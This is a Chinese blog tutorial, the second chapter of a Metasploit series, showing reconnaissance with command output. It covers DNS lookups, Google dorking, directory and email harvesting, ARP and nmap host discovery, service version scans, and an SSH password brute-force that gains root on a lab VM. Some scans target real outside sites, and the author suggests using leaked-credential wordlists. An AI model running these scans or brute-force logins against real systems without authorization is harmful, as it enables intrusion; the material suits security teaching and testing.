Metasploit 实战第2章第一节

最新推荐文章于 2025-02-07 09:00:00 发布

置顶随行之旅

最新推荐文章于 2025-02-07 09:00:00 发布

阅读量4k

点赞数

分类专栏： metasploit安全之旅

本文链接：https://blog.csdn.net/strom2418/article/details/49824625

版权

metasploit安全之旅专栏收录该内容

3 篇文章

订阅专栏

MetaSploit 第2章实战

-----------------------------nslookup命令使用-------------------------------------
root@kali:~# nslookup
> set type=A ---对其IP进行解析
> WWW.BAIDU.COM ---输入解析www.baidu.com域名地址
Server: 10.10.10.2
Address: 10.10.10.2#53

Non-authoritative answer:
WWW.BAIDU.COM canonical name = www.a.shifen.COM.
Name: www.a.shifen.COM
Address: 180.97.33.108 ---被解析的地址
Name: www.a.shifen.COM
Address: 180.97.33.107 ---被解析的地址

-----------------------------nslookup命令使用-------------------------------------

-----------------------------dig命令使用-------------------------------------

root@kali:~# dig @b.gtld-servers.net baidu.com

; <<>> DiG 9.9.5-9+deb8u2-Debian <<>> @b.gtld-servers.net baidu.com
; (2 servers found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 15229
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 5, ADDITIONAL: 6
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;baidu.com. IN A

;; AUTHORITY SECTION:
baidu.com. 172800 IN NS dns.baidu.com.
baidu.com. 172800 IN NS ns2.baidu.com.
baidu.com. 172800 IN NS ns3.baidu.com.
baidu.com. 172800 IN NS ns4.baidu.com.
baidu.com. 172800 IN NS ns7.baidu.com.

;; ADDITIONAL SECTION:
dns.baidu.com. 172800 IN A 202.108.22.220
ns2.baidu.com. 172800 IN A 61.135.165.235
ns3.baidu.com. 172800 IN A 220.181.37.10
ns4.baidu.com. 172800 IN A 220.181.38.10
ns7.baidu.com. 172800 IN A 119.75.219.82

;; Query time: 444 msec
;; SERVER: 192.33.14.30#53(192.33.14.30)
;; WHEN: Thu Nov 12 14:37:21 EST 2015
;; MSG SIZE rcvd: 208

注意NS是代表域名服务记录，上面的NS表示二级域名

----------------------dig命令使用-------------------------------------

扫描目录层次结构

注意：这里教大家如何查询，只供参考如使用破坏网站的权益（本人不负责，一切由个人承担法律责任）

2、使用Metasploit中的brute_dirs、dir_listing、dir_scanner等辅助模块来完成
它们主要使用暴力猜解的方式工作，虽然不一定能够猜解出全部的目录，但仍不
失为很好的辅助手段。

msf > use auxiliary/scanner/http/dir_scanner

msf auxiliary(dir_scanner) > set THREADS 50
THREADS => 50

msf auxiliary(dir_scanner) > set RHOSTS www.phpluntan.com
RHOSTS => www.phpluntan.com
msf auxiliary(dir_scanner) > exploit

[*] Detecting error code
[*] Using code '403' as not found for 116.31.127.170
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

如果服务器返回403而不是404的话就是提示没有开放浏览权限。

注意网站根目录下放有一个名字为robots.txt的文件，它告诉搜索引擎的爬虫
在抓取网站页面应当遵循的规则，比如哪些目录和文件不应当被抓取等，然而
robots.txt中指出的文件与目录却经常是参透测测试者最关注的攻击目标，如
果在目标网站上发现了这个文件，应当对它给予足够的关注。

3、检索特定类型的文件
在Google上针对此类文件进行查询
输入site:testfire.net filetype:xls

4、搜索网站中的E-mail地址

可以使用Metasploit中一个非常棒的辅助模块search_email_collector,进行有针
对性的邮件地址搜集。

-------------------------找出以@baidu.com为后缀的邮件地址----------------------------------
msf > use auxiliary/gather/search_email_collector
msf auxiliary(search_email_collector) > set DOMAIN baidu.com
DOMAIN => baidu.com

msf auxiliary(search_email_collector) > run

[*] Harvesting emails .....
[*] Searching Google for email addresses from baidu.com
[*] Extracting emails from Google search results...
[*] Searching Bing email addresses from baidu.com
[*] Extracting emails from Bing search results...
[*] Searching Yahoo for email addresses from baidu.com
[*] Extracting emails from Yahoo search results...
[*] Located 5 email addresses for baidu.com
[*] ask@baidu.com
[*] baidu.com+@baidu.com
[*] baijia@baidu.com
[*] dubike-feedback@baidu.com
[*] mobilebrowser@baidu.com
[*] Auxiliary module execution completed

-------------------------找出以@baidu.com为后缀的邮件地址----------------------------------

5、搜索易存在SQL注入点的页面

在google.com中输入site:testfire.net inurl:login 关键字进行搜索，得到了其后台登录的URL

6、使用traceroute命令进行路由侦查

如命令：traceroute 180.97.33.108

7、通过arp_sweep使用ARP请求枚举本地局域网络中的所有活跃主机进行扫描。

msf > use auxiliary/scanner/discovery/arp_sweep ---进入arp_sweep 模块
msf auxiliary(arp_sweep) > show options ---查询模块参数

Module options (auxiliary/scanner/discovery/arp_sweep):

Name Current Setting Required Description
---- --------------- -------- -----------
INTERFACE no The name of the interface
RHOSTS yes The target address range or CIDR identifier
SHOST no Source IP Address
SMAC no Source MAC Address
THREADS 1 yes The number of concurrent threads
TIMEOUT 5 yes The number of seconds to wait for new data

msf auxiliary(arp_sweep) > set RHOSTS 10.10.10.0/24--用set进行hosts主机段设置
RHOSTS => 10.10.10.0/24
msf auxiliary(arp_sweep) > set THREADS 50 --加快扫描速度
THREADS => 50
msf auxiliary(arp_sweep) > run --执行run进行扫描

[*] 10.10.10.1 appears to be up (VMware, Inc.).
[*] 10.10.10.2 appears to be up (VMware, Inc.).
[*] 10.10.10.129 appears to be up (VMware, Inc.).
[*] 10.10.10.254 appears to be up (VMware, Inc.).
[*] 10.10.10.254 appears to be up (VMware, Inc.).
[*] 10.10.10.128 appears to be up (VMware, Inc.).
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed

8、使用Nmap进行主机探测

1）探测活跃的主机

msf > nmap -sn 10.10.10.0/24
[*] exec: nmap -sn 10.10.10.0/24

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-11-12 17:27 EST
Nmap scan report for 10.10.10.1
Host is up (0.00048s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 10.10.10.2
Host is up (0.000057s latency).
MAC Address: 00:50:56:E6:0A:6D (VMware)
Nmap scan report for 10.10.10.129
Host is up (-0.10s latency).
MAC Address: 00:0C:29:A1:89:51 (VMware)
Nmap scan report for 10.10.10.254
Host is up (-0.10s latency).
MAC Address: 00:0C:29:79:92:14 (VMware)
Nmap scan report for 10.10.10.128
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 4.42 seconds

2）使用-PU 是对UDP端口进行探测与udp_sweep模块一样的功能

msf > nmap -PU -sn 10.10.10.0/24
[*] exec: nmap -PU -sn 10.10.10.0/24

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-11-12 17:29 EST
Nmap scan report for 10.10.10.1
Host is up (0.00025s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 10.10.10.2
Host is up (0.000074s latency).
MAC Address: 00:50:56:E6:0A:6D (VMware)
Nmap scan report for 10.10.10.129
Host is up (-0.10s latency).
MAC Address: 00:0C:29:A1:89:51 (VMware)
Nmap scan report for 10.10.10.254
Host is up (0.000063s latency).
MAC Address: 00:0C:29:79:92:14 (VMware)
Nmap scan report for 10.10.10.128
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.33 seconds

3）使用-O选项让Nmap对目标的操作系统进行识别。

msf > nmap -O 10.10.10.129
[*] exec: nmap -O 10.10.10.129

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-11-12 18:00 EST
Nmap scan report for 10.10.10.129
Host is up (0.00023s latency).
Not shown: 992 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
143/tcp open imap
445/tcp open microsoft-ds
5001/tcp open commplex-link
8080/tcp open http-proxy
MAC Address: 00:0C:29:A1:89:51 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.17 - 2.6.36
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.57 seconds

9、查询端口扫描模块命令

search portscan命令使用

msf > search portscan

Matching Modules
================

Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/scanner/http/wordpress_pingback_access normal Wordpress Pingback Locator
auxiliary/scanner/natpmp/natpmp_portscan normal NAT-PMP External Port Scanner
auxiliary/scanner/portscan/ack normal TCP ACK Firewall Scanner
auxiliary/scanner/portscan/ftpbounce normal FTP Bounce Port Scanner
auxiliary/scanner/portscan/syn normal TCP SYN Port Scanner
auxiliary/scanner/portscan/tcp normal TCP Port Scanner
auxiliary/scanner/portscan/xmas normal TCP "XMas" Port Scanner
auxiliary/scanner/sap/sap_router_portscanner normal SAPRouter Port Scanner

ack 通过ack扫描的方式对防火墙上未被屏蔽端口进行探测。
ftpbounce 通过FTP bounce 攻击的原理对TCP服务进行枚举，在一些旧的solaris和freebsd系统的ftp服务器中此类攻击方式
仍能够被利用。
syn 使用发送TCP SYN标志的方式探测开放的端口。
tcp 通过一次完整的TCP连接来判断端口是否开放，这种扫描方式最准确，但扫描速度较慢。
xmas 一种更为隐秘的扫描方式，通过发送FIN、PSH和URG标志，能够躲避一些高级的TCP标记监测器的过滤。

例子通过syn模块进行网关服务器扫描

msf > use auxiliary/scanner/portscan/syn
msf auxiliary(syn) > set RHOSTS 10.10.10.129
RHOSTS => 10.10.10.129
msf auxiliary(syn) > set THREADS 200
THREADS => 200
msf auxiliary(syn) > run

[*] TCP OPEN 10.10.10.129:21
[*] TCP OPEN 10.10.10.129:22
[*] TCP OPEN 10.10.10.129:80
[*] TCP OPEN 10.10.10.129:139
[*] TCP OPEN 10.10.10.129:143
[*] TCP OPEN 10.10.10.129:445
[*] TCP OPEN 10.10.10.129:5001
[*] TCP OPEN 10.10.10.129:8080
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

10、nmap 命令的使用

root@kali:~# nmap -sS -Pn 10.10.10.129 --sS是TCP SYN扫描，-Pn是在扫描之前，不发送ICMP echo请求测试目标。

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-11-13 14:44 EST
Nmap scan report for 10.10.10.129
Host is up (0.00015s latency).
Not shown: 992 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
143/tcp open imap
445/tcp open microsoft-ds
5001/tcp open commplex-link
8080/tcp open http-proxy
MAC Address: 00:0C:29:A1:89:51 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.97 seconds

11、使用Nmap探测更详细的服务信息

Nmap done: 1 IP address (1 host up) scanned in 1.97 seconds
root@kali:~# nmap -sV -Pn 10.10.10.129

--sV是查看目标机子的详细服务信息

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-11-13 14:49 EST
Nmap scan report for 10.10.10.129
Host is up (0.00012s latency).
Not shown: 992 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.2.2
22/tcp open ssh OpenSSH 5.3p1 Debian 3ubuntu4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.14 ((Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.5 with Suhosin-Patch mod_python/3.3.1 Python/2.6.5 mod_perl/2.0.4 Perl/v5.10.1)
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
143/tcp open imap Courier Imapd (released 2008)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
5001/tcp open java-rmi Java RMI
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5001-TCP:V=6.49BETA4%I=7%D=11/13%Time=56463EBD%P=x86_64-pc-linux-gn
SF:u%r(NULL,4,"\xac\xed\0\x05");
MAC Address: 00:0C:29:A1:89:51 (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.51 seconds

12、服务扫描与查点

通过MSF终端输入search name:_version可以查看所有可用的服务查点模块，该命令的执行如下：

msf > search name:_version

Matching Modules
================

Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/fuzzers/ssh/ssh_version_15 normal SSH 1.5 Version Fuzzer
auxiliary/fuzzers/ssh/ssh_version_2 normal SSH 2.0 Version Fuzzer
auxiliary/fuzzers/ssh/ssh_version_corrupt normal SSH Version Corruption
auxiliary/gather/ibm_sametime_version 2013-12-27 normal IBM Lotus Sametime Version Enumeration
auxiliary/scanner/db2/db2_version normal DB2 Probe Utility
auxiliary/scanner/ftp/ftp_version normal FTP Version Scanner
auxiliary/scanner/h323/h323_version normal H.323 Version Scanner
auxiliary/scanner/http/coldfusion_version normal ColdFusion Version Scanner
auxiliary/scanner/http/http_version normal HTTP Version Detection
auxiliary/scanner/http/joomla_version normal Joomla Version Scanner
auxiliary/scanner/http/sap_businessobjects_version_enum normal SAP BusinessObjects Version Detection
auxiliary/scanner/http/ssl_version 2014-10-14 normal HTTP SSL/TLS Version Detection (POODLE scanner)
auxiliary/scanner/http/svn_scanner normal HTTP Subversion Scanner
auxiliary/scanner/imap/imap_version normal IMAP4 Banner Grabber
auxiliary/scanner/ipmi/ipmi_version normal IPMI Information Discovery
auxiliary/scanner/lotus/lotus_domino_version normal Lotus Domino Version
auxiliary/scanner/mysql/mysql_version normal MySQL Server Version Enumeration
auxiliary/scanner/oracle/tnslsnr_version 2009-01-07 normal Oracle TNS Listener Service Version Query
auxiliary/scanner/pop3/pop3_version normal POP3 Banner Grabber
auxiliary/scanner/postgres/postgres_version normal PostgreSQL Version Probe
auxiliary/scanner/printer/printer_version_info normal Printer Version Information Scanner
auxiliary/scanner/sap/sap_mgmt_con_version normal SAP Management Console Version Detection
auxiliary/scanner/scada/digi_addp_version normal Digi ADDP Information Discovery
auxiliary/scanner/scada/digi_realport_version normal Digi RealPort Serial Server Version
auxiliary/scanner/scada/modbusdetect 2011-11-01 normal Modbus Version Scanner
auxiliary/scanner/smb/smb_version normal SMB Version Detection
auxiliary/scanner/smtp/smtp_version normal SMTP Banner Grabber
auxiliary/scanner/snmp/aix_version normal AIX SNMP Scanner Auxiliary Module
auxiliary/scanner/ssh/ssh_version normal SSH Version Scanner
auxiliary/scanner/telnet/lantronix_telnet_version normal Lantronix Telnet Service Banner Detection
auxiliary/scanner/telnet/telnet_version normal Telnet Service Banner Detection
auxiliary/scanner/vmware/vmauthd_version normal VMWare Authentication Daemon Version Scanner
auxiliary/scanner/vxworks/wdbrpc_version normal VxWorks WDB Agent Version Scanner
exploit/multi/svn/svnserve_date 2004-05-19 average Subversion Date Svnserve
exploit/windows/browser/crystal_reports_printcontrol 2010-12-14 normal Crystal Reports CrystalPrintControl ActiveX ServerResourceVersion Property Overflow
exploit/windows/fileformat/digital_music_pad_pls 2010-09-17 normal Digital Music Pad Version 8.2.3.3.4 Stack Buffer Overflow
exploit/windows/fileformat/orbit_download_failed_bof 2008-04-03 normal Orbit Downloader URL Unicode Conversion Overflow
exploit/windows/fileformat/realplayer_ver_attribute_bof 2013-12-20 normal RealNetworks RealPlayer Version Attribute Buffer Overflow
exploit/windows/ftp/filecopa_list_overflow 2006-07-19 average FileCopa FTP Server Pre 18 Jul Version
exploit/windows/scada/iconics_genbroker 2011-03-21 good Iconics GENESIS32 Integer Overflow Version 9.21.201.01

13、Telnet服务扫描

msf > use auxiliary/scanner/telnet/telnet_version --查询telnet的版本

msf auxiliary(telnet_version) > set RHOSTS 10.10.10.0/24 --扫描10.10.10.0网段
RHOSTS => 10.10.10.0/24
msf auxiliary(telnet_version) > set THREADS 100 --设置这个可以提高查询速度
THREADS => 100

msf auxiliary(telnet_version) > run

[*] Scanned 102 of 256 hosts (39% complete)
[*] Scanned 189 of 256 hosts (73% complete)
[*] Scanned 192 of 256 hosts (75% complete)
[*] Scanned 198 of 256 hosts (77% complete)
[*] 10.10.10.130:23 TELNET Welcome to Microsoft Telnet Service \x0a\x0a\x0dlogin:
[*] Scanned 203 of 256 hosts (79% complete)
[*] Scanned 204 of 256 hosts (79% complete)
[*] Scanned 205 of 256 hosts (80% complete)
[*] Scanned 233 of 256 hosts (91% complete)
[*] Scanned 250 of 256 hosts (97% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed

14、SSH服务扫描

msf > use auxiliary/scanner/ssh/ssh_version

msf auxiliary(ssh_version) > show options

Module options (auxiliary/scanner/ssh/ssh_version):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 22 yes The target port
THREADS 1 yes The number of concurrent threads
TIMEOUT 30 yes Timeout for the SSH probe

msf auxiliary(ssh_version) > set RHOSTS 10.10.10.0/24
RHOSTS => 10.10.10.0/24
msf auxiliary(ssh_version) > set THREADS 200
THREADS => 200
msf auxiliary(ssh_version) > run

[!] 10.10.10.128:22 unknown SSH banner: OpenSSH_6.7p1 Debian-5
[*] 10.10.10.128:22, SSH server version: SSH-2.0-OpenSSH_6.7p1 Debian-5
[*] 10.10.10.129:22, SSH server version: SSH-2.0-OpenSSH_5.3p1 Debian-3ubuntu4
[*] Scanned 202 of 256 hosts (78% complete)
[*] Scanned 248 of 256 hosts (96% complete)
[*] Scanned 251 of 256 hosts (98% complete)
[*] Scanned 252 of 256 hosts (98% complete)
[*] Scanned 253 of 256 hosts (98% complete)
[*] Scanned 254 of 256 hosts (99% complete)
[*] Scanned 255 of 256 hosts (99% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed

15、Oracle数据库服务查点

msf auxiliary(ssh_version) > use auxiliary/scanner/oracle/tnslsnr_version
msf auxiliary(tnslsnr_version) > show options

Module options (auxiliary/scanner/oracle/tnslsnr_version):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 1521 yes The target port
THREADS 1 yes The number of concurrent threads

msf auxiliary(tnslsnr_version) > set RHOSTS 10.10.10.0/24
RHOSTS => 10.10.10.0/24
msf auxiliary(tnslsnr_version) > set THREADS 200
THREADS => 200
msf auxiliary(tnslsnr_version) > run

[+] 10.10.10.130:1521 Oracle - Version: 32-bit Windows: Version 10.2.0.1.0 - Production
[*] Scanned 201 of 256 hosts (78% complete)
[*] Scanned 250 of 256 hosts (97% complete)
[*] Scanned 252 of 256 hosts (98% complete)
[*] Scanned 254 of 256 hosts (99% complete)
[*] Scanned 255 of 256 hosts (99% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed

16、利用开放代理探测

网上很多高代理服务器，设置一下，这里是例子查看配置后的结果

msf auxiliary(open_proxy) > show options

Module options (auxiliary/scanner/http/open_proxy):

Name Current Setting Required Description
---- --------------- -------- -----------
LOOKUP_PUBLIC_ADDRESS false no Enable test for retrieve public IP address via RIPE.net
MULTIPORTS true no Multiple ports will be used : 80, 1080, 3128, 8080, 8123
RANDOMIZE_PORTS false no Randomize the order the ports are probed
RHOSTS 24.25.24.1-24.25.26.254 yes The target address range or CIDR identifier
RPORT 8080 yes The target port
SITE www.google.com yes The web site to test via alleged web proxy (default is www.google.com)
THREADS 200 yes The number of concurrent threads
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) yes The HTTP User-Agent sent in the request
VERIFY_CONNECT true no Enable test for CONNECT method
VERIFY_HEAD false no Enable test for HEAD method
ValidCode 200,302 no Valid HTTP code for a successfully request
ValidPattern server: gws no Valid HTTP server header for a successfully request

注意：以上都是服务探测扫描结果的分析

16、口令猜测与嗅探

msf > use auxiliary/scanner/ssh/ssh_login --进入ssh_login模块

msf auxiliary(ssh_login) > set RHOSTS 10.10.10.129 --设置目标IP或IP段
RHOSTS => 10.10.10.129
msf auxiliary(ssh_login) > set USERNAME root --设置目标系统的管理员账号
USERNAME => root
msf auxiliary(ssh_login) > set PASS_FILE /root/password.txt --设置破解的字典，字典去网上社工库下载
PASS_FILE => /root/password.txt
msf auxiliary(ssh_login) > set THREADS 2000 ---提高查询速度
THREADS => 2000

msf auxiliary(ssh_login) > run

[*] 10.10.10.129:22 SSH - Starting bruteforce
[-] 10.10.10.129:22 SSH - Failed: 'root:1qaz2wsx'
[-] 10.10.10.129:22 SSH - Failed: 'root:22222222'
[-] 10.10.10.129:22 SSH - Failed: 'root:31415926'
[-] 10.10.10.129:22 SSH - Failed: 'root:55555555'
[-] 10.10.10.129:22 SSH - Failed: 'root:77777777'
[-] 10.10.10.129:22 SSH - Failed: 'root:88888888'
[-] 10.10.10.129:22 SSH - Failed: 'root:987654321'
[-] 10.10.10.129:22 SSH - Failed: 'root:99999999'
[-] 10.10.10.129:22 SSH - Failed: 'root:999999999'
[-] 10.10.10.129:22 SSH - Failed: 'root:abcd1234'
[-] 10.10.10.129:22 SSH - Failed: 'root:alexande'
[+] 10.10.10.129:22 SSH - Success: 'root:owaspbwa' 'uid=0(root) gid=0(root) groups=0(root) Linux owaspbwa 2.6.32-25-generic-pae #44-Ubuntu SMP Fri Sep 17 21:57:48 UTC 2010 i686 GNU/Linux '
[*] Command shell session 1 opened (10.10.10.128:33501 -> 10.10.10.129:22) at 2015-11-13 17:01:07 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed